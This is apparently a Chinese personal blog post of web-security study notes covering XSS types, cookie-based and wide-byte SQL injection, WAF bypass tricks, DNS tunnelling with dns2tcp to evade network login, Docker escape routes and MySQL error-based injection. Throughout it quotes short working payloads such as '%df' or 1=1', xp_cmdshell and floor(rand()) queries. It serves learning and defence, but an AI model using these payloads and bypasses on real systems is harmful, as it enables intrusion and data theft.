• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

信安小知识-5

2020-08-17

1. dom based xss vs reflected xss

  • What is the Difference Between DOM Based XSS and Reflected XSS - Pediaa.Com

定义

  • DOM-based XSS is an advanced type of XSS that occurs by writing data to the Document Object Model (DOM).
  • reflected XSS is the second and the most common type XSS in which the attacker’s payload is a part of the request that is sent to the webserver
  • 基于DOM的XSS是一种先进的XSS类型,它通过向文档对象模型(DOM)写入数据而发生。> - 反射式XSS是第二种也是最常见的XSS类型,攻击者的有效载荷是发送到网络服务器的请求的一部分

效果

While DOM-based XSS occurs by processing data from an untrusted source by writing data to a potentially dangerous sink within the DOM, reflected XSS occurs when an application obtains data in an HTTP request and includes that data within the immediate response in an unsafe way. Thus, this is the main difference between DOM based XSS and reflected XSS.

基于DOM的XSS是通过将数据写入DOM中的潜在危险汇来处理来自不受信任源的数据,而反射式XSS则是当应用程序在HTTP请求中获取数据,并以不安全的方式将该数据包含在即时响应中时发生的。因此,这是基于DOM的XSS和反射式XSS的主要区别。

DOM XSS 是由于浏览器解析机制导致的漏洞,服务器不参与,而存储型与反射型都需要服务器响应参与

  • DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别? - 全栈工程师小家的回答 - 知乎

跳转

在很多场景下,业务需要实现页面跳转,常见的使用,location.href() location.replace() location.assign()这些方法通过Javascript实现跳转。我们第一时间可能想到的是限制不严导致任意URL跳转漏洞,而DOM XSS与此似乎“八竿子打不着”,实际上跳转部分参数可控,可能导致Dom xss

1
2
3
4
5
var hash = location.hash;
if(hash){
var url = hash.substring(1);
location.href = url;
}
  • 伪协议#javascript:alert(1)
  • waf bypass

    因为有些情况Dom Xss的Payload,可以通过location.hash,即设置为锚部分从#之后的部分,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免waf检测。location.search也类似,它可以把部分参数放在?之后的部分

  • 长度不限

2. cookie 中转注入

指直接注入不行,自己构造一个注入点,好像有这类工具。


一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。一般情况下,黑名单是不安全的,它存在被绕过的风险。比如有的防 注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤

2.1. Cookie注入典型步骤

,当我们使用request(“参数名 称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时

1
2
3
4
5
6
7
1.寻找形如“.asp?id=xx”类的带参数的URL。

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按 Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取 数据的。

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的

3. waf绕过

  • WAF是如何被绕过的? - 掌控安全学院的文章 - 知乎

本质:避开waf过滤关键字

IIS+ASPapache
Web容器的特性se%lect 1,2,3,4 fro%m adm%in
union all %u0053elect 1,2,3,4, %u0066rom admin
HPP(HTTP Parameter Pollution): HTTP参数污染  在HTTP协议中是允许同样名称的参数出现多次的id=union+select+password/&id=/from+admin同上
畸形HTTP请求  这个请求包Method不合法,没有协议字段HTTP/1.1 ,也没有Host字段。如果在HTTP/1.1协议中,缺少HOST字段会返回400 bad request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9 , Host坝默认使用Apache默认的servername ,这种畸形的请求仍然能够被处理
Web应用层的问题多重编码问题  而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会 因为解码不完全导致防御机制被绕过(%2520  %25==%)同上
多数据来源的问题  WEB程序可从多种途径获取到参数ID的参数值同上
WAF自身的问题白名单机制  如以前某些WAF为了不影响站点的优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。伪造HTTP请求的User-Agent非常容易,只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎 的User-Agent即可畅通无阻同上
数据获取方式存在缺陷  某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测,当GET请求的攻击数据包无法绕过时,转换 成POST可能就绕过去了。或者,POST以 Content-Type: application/x-www-form-urlencoded 无法绕过时,转换成上传包格式的Content-Type: multipart/form-data 就能够绕过去同上
数据处理不恰当  %00截断 将 %00 进行URL解码,即是C语言中的NULL字符  &字符处理(part 1=1+union+/*%26*x=1/+select/*%26*x2=1/1,2,3,4,5+from+Admin)同上
数据库的一些特性为性能和业务妥协同上
  • 但能正确反馈出行数

3.1. 畸形http请求头

  • get url <在此插入恶意代码> http 1.1
    • 可以bypass某些检测不全面的waf

4. apt攻击

高级可持续威胁攻击(Advanced Persistent Threat )

  • 第一阶段:扫描探测
    • 目标网络环境探测,线上服务器分布情况,应用程序的弱点分析
  • 第二阶段:工具投送
    • 在多数情况下,攻击者会向目标公司的员工发送邮件,诱骗其打开恶意附件,或单击一个经过伪造的恶意URL,希望利用常见软件(如Java或微软的办公软件)的0day漏洞,投送其恶意代码
  • 第三阶段:漏洞利用
  • 第四阶段:木马植入
    • 更多的恶意软件的可执行文件——击键记录器、木马后门、密码破解和文件采集程序被下载和安装
  • 第五阶段:远程控制
  • 第六阶段:横向渗透
    • 攻击者将以员工个人电脑为跳板,在系统内部进行横向渗透,以攻陷更多的pc和服务器
  • 目标行动

5. dns投毒

网域服务器缓存污染(DNS cache pollution),又称域名服务器缓存投毒(DNS cache poisoning)、DNS缓存投毒,是指一些刻意制造或无意中制造出来的域名服务器数据包,把域名指往不正确的IP地址。一般来说,在互联网上都有可信赖的网域服务器,但为减低网络上的流量压力,一般的域名服务器都会把从上游的域名服务器获得的解析记录暂存起来,待下次有其他机器要求解析域名时,可以立即提供服务。一旦有关网域的局域域名服务器的缓存受到污染,就会把网域内的电脑导引往错误的服务器或服务器的网址

  • dns劫持/http劫持

你可以为你的计算机配置一个信任的解析器。 但很少有人这样做。

相反,大多数人只是使用默认值。 默认情况下,操作系统将只使用网络告诉它的任何解析器。 当计算机连接到网络并获取其 IP 地址时,网络会推荐一个解析器

  • dns跟踪

6. dns反弹

1、在浏览器中输入www.qq.com 域名,操作系统会先检查自己本地的hosts文件是否有这个网址映射关系,如果有,就先调用这个IP地址映射,完成域名解析。

2、如果hosts里没有这个域名的映射,则查找本地DNS解析器缓存,是否有这个网址映射关系,如果有,直接返回,完成域名解析。

DNS隧道的存在,必然有相应的应用场景,其实也是为了规避防火墙对协议的检测,无论防火墙检测多么严格,一般都会开启DNS查询的53端口


DNS隧道可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,其实本质上是典型的C/S结构。另外限制比较高,很多场景不允许自己指定DNS Server。

  • 相当于禁止非dns服务器向外dns,但允许内网dns服务器向外dns查询
  • dns2tcp

而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。DNS隧道的中继模式过程如下图所示,其根本目标是让DNS数据包传输到我们自己指定的DNS权威服务器


中继模式的实现有两个关键点,一个是有一台自己控制的权威DNS服务器,另一个是对DNS缓存机制的规避,因为如果需要解析的域名在本地DNS服务器中已经有缓存时,本地DNS服务器就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的

6.1. dns隧道

6.1.1. 使用场合

正常情况下,当我们连上酒店或者其他需要验证才可以使用的网络后,虽然上不了网,但是我们的计算机却分配到了IP地址(不分配IP地址web认证就实现不了),此时若我们进行一些上网的操作,那么计算机的数据包将从TCP443端口上发出,校园网、酒店等网关就会拦截从这个端口上发出的数据包。同理从其它端口上发出的数据包也会遭到拦截

6.1.2. 配置

vps

  • 安装配置dns2tcp
  • 安装配置dante-server

配置文件配置了一个监听端口7777的socks代理,无身份认证,允许任何客户端连接

client

  • dns2tcpc

  • 使用DNS2TCP搭建DNS隧道,绕过网络认证,实现免验证上网_Deng’s Blog-CSDN博客

  • dns2tcpc -r socks -z a.b.c.com IP -l 8888 -d 2

    • 注意要让内网dns识别不了
    • 理论上要经常变域名(工具实现常是变子域名)

      在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型

7. dns域传送

DNS服务器分为:主服务器、备份服务器和缓存服务器。在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器。凭借这份网络蓝图,攻击者可以节省很少的扫描时间。

  • 使用nmap扫描DNS域传送泄露漏洞

  • dns 域传送漏洞利用总结 - 简书

8. 移动端hook框架有

  • xposed
  • Substrate
  • Cydia
  • frida

9. 以下关于进程、线程、协程的的说法正确的是

  • 线程是堆共享,栈私有
  • 一般而言,执行开销进程 > 线程 > 协程

10. 下面哪些功能可能存在ssrf?

  • 分享功能
  • 转码服务
  • 在线翻译
  • 图片加载

11. 简单匹配ipv4

1
2
if re.match(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$",127.0.0.1):
print("IP Valid")

“?:”非bai获取匹配,匹配冒号后的内容但du不获取匹配结果,不进行存储供以后zhi使用。

单独的“?”:匹dao配前面的子表达式零次或一次

11.1. 精确匹配ip

((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.){3}(1\d\d|2[0-4]\d|25[0-5]|[1-9]\d|\d)

12. Docker逃逸

  • —privileged(特权模式)
    • 使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂
  • 因此当容器以—cap-add=SYSADMIN启动时,也将面临威胁

众所周知,Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种

  • unix://var/run/docker.sock(默认)
  • tcp://host:port
  • fd://socketfd
  • 因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机
  • 脏牛漏洞(CVE-2016-5195)
    • Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限

13. container内的app如何知道自己是在一个容器内呢

1

1
2
3
4
5
$cat /proc/1/cgroup 

6:devices:/docker/3601745b3bd54d9780436faa5f0e4f72bb46231663bb99a6bb892764917832c2

3:cpu:/docker/3601745b3bd54d9780436faa5f0e4f72bb46231663bb99a6bb892764917832c2

2

1
2
3
4
5
6
7
8
9
10
11
12
13
if [ -f/.dockerenv ]; then


echo"I'm inside matrix ;(";


else


echo"I'm living in real world!";


fi
  • -f: filename

14. 进线程安全

14.1. Python的字典中的线程安全吗?

  • GIL

15. Web缓冲区溢出

  • 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理

16. 宽字节注入

  • set character_set_client = ‘gbk’;
    • mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的
  • 比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin

%DF’ :会被PHP当中的addslashes函数转义为“%DF'” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

1
2
3
4
5
http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

# 其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

17. msyql报错注入

  • 数据溢出
  • 主键重复

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封


在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:

  • mysql> select select ~0+1;
  • select exp(709);
    • 此函数返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值
  • select 1 from (select+count(*),concat(floor(rand(0)*2),version())a from information_schema.tables group by a)b;
    • ERROR 1062 (23000): Duplicate entry '15.7.31-0ubuntu0.18.04.1' for key '<group_key>'
    • floor函数返回小于等于该值的最大整数

可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

  • mysql的floor()报错注入方法详细分析 - 小friend - 博客园
  • MYSQL报错注入的一点总结 - 先知社区

18. 绕过mysql_real_escape

  • gbk

19. mysql exec

  • EXEC xp_cmdshell 'net user'

20. sqlserver delay

  • WAITFOR DELAY '0:0:3'
    • pause for 3 seconds

21. csp:

ntent-Security-Policy

  • (1)在HTTP Header上使用(首选)
    "Content-Security-Policy:" 策略

  • (2)在HTML上使用
    <meta http-equiv="content-security-policy" content="策略">

  • 如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义

  • CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置

21.1. MIME Sniff bypass

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再<script href='http://xxx.com/xx.jpg'>,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本

21.2. 预加载bypass

22. thread vs process

22.1. 进程切换(进程状态保存)

22.2. 线程安全

在多线程编程中我们需要同时关注可见性、顺序性和原子性

  • sec
  • Security
  • Web Security
  • Note
tcp-ip协议
密码学备忘录-数字签名
  1. 1. 1. dom based xss vs reflected xss
  2. 2. 2. cookie 中转注入
    1. 2.1. 2.1. Cookie注入典型步骤
  3. 3. 3. waf绕过
    1. 3.1. 3.1. 畸形http请求头
  4. 4. 4. apt攻击
  5. 5. 5. dns投毒
  6. 6. 6. dns反弹
    1. 6.1. 6.1. dns隧道
      1. 6.1.1. 6.1.1. 使用场合
      2. 6.1.2. 6.1.2. 配置
  7. 7. 7. dns域传送
  8. 8. 8. 移动端hook框架有
  9. 9. 9. 以下关于进程、线程、协程的的说法正确的是
  10. 10. 10. 下面哪些功能可能存在ssrf?
  11. 11. 11. 简单匹配ipv4
    1. 11.1. 11.1. 精确匹配ip
  12. 12. 12. Docker逃逸
  13. 13. 13. container内的app如何知道自己是在一个容器内呢
  14. 14. 14. 进线程安全
    1. 14.1. 14.1. Python的字典中的线程安全吗?
  15. 15. 15. Web缓冲区溢出
  16. 16. 16. 宽字节注入
  17. 17. 17. msyql报错注入
  18. 18. 18. 绕过mysql_real_escape
  19. 19. 19. mysql exec
  20. 20. 20. sqlserver delay
  21. 21. 21. csp:
    1. 21.1. 21.1. MIME Sniff bypass
    2. 21.2. 21.2. 预加载bypass
  22. 22. 22. thread vs process
    1. 22.1. 22.1. 进程切换(进程状态保存)
    2. 22.2. 22.2. 线程安全
© 2024 何决云 载入天数...